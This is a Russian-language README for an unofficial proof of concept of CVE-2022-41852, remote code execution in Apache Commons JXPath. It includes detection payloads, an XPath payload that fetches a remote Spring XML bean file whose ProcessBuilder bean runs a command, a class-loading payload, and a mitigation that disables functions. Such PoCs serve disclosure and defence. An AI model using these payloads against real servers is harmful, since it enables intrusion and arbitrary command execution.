
CVE-2022-41852 Доказательство концепции (неофициальное)
CVE-2022-41852 позволяет злоумышленникам выполнять код на сервере приложений.
Подробнее об этой уязвимости можно прочитать здесь:
Примечание: Я не являюсь автором этой CVE. Я только создал этот proof of concept.
Библиотека JXPath поддерживает выполнение функций в XPath-выражениях (см. Официальное руководство пользователя).
Например, методы JXPathContext.getValue(path) и JXPathContext.iterate(path) опасны,
если позволить пользователю передавать ввод в параметр path.
Этот PoC запускает простой Spring-сервер с двумя конечными точками:
/vulnerable-example?path=[path]/secure-example?path=[path]У этих конечных точек есть только один параметр запроса "path".
Следующие запросы будут работать нормально (не вызовут проблем):
Следующие запросы приведут к выполнению кода:
Примеры полезных нагрузок для обнаружения CVE-2022-41852:
java.lang.System.exit(42)java.lang.Thread.sleep(10000)/|java.lang.System.exit(42)|java.lang.System.exit(42)Существуют различные способы выполнения команд. Один из них — использование Spring's ClassPathXmlApplicationContext:
org.springframework.context.support.ClassPathXmlApplicationContext.new("https://warxim.com/calc.xml")В XML-файле можно определить конфигурацию бинов, например, создать экземпляр ProcessBuilder
и запустить указанную команду на сервере, инициализировав бин с помощью метода start().
В следующем примере на машине с Windows будет открыт калькулятор:
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="commandRunner" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>cmd</value>
<value>/c</value>
<value><![CDATA[calc]]></value>
</list>
</constructor-arg>
</bean>
</beans>
Также существует способ загрузки новых классов через обход контекстного бина. Например, следующий код загрузит класс com.warxim.dangerous.DangerousClass, создаст его экземпляр и вызовет метод run("warxim"):
JXPathContext context = JXPathContext.newContext(new Data());
String jxPath = "run(newInstance(loadClass(getClassLoader(getClass(/)), \"com.warxim.dangerous.DangerousClass\")), \"warxim\")"
Object result = context.getValue(jxPath);
Обратите внимание, что мы должны вызывать методы объекта, передавая объект, содержащий их, в качестве первого параметра.
Можно отключить функции в JXPathContext, установив поле functions в пустой FunctionLibrary.
// Создаём контекст пути для объекта person
var pathContext = JXPathContext.newContext(person);
// Устанавливаем пустую библиотеку функций
pathContext.setFunctions(new FunctionLibrary());
// getValue выбросит org.apache.commons.jxpath.JXPathFunctionNotFoundException
return pathContext.getValue(path);
Примечание: Это отключит все функции, поэтому даже такие функции, как size(), будут недоступны.
Исправление разрабатывается, см. https://github.com/apache/commons-jxpath/pull/26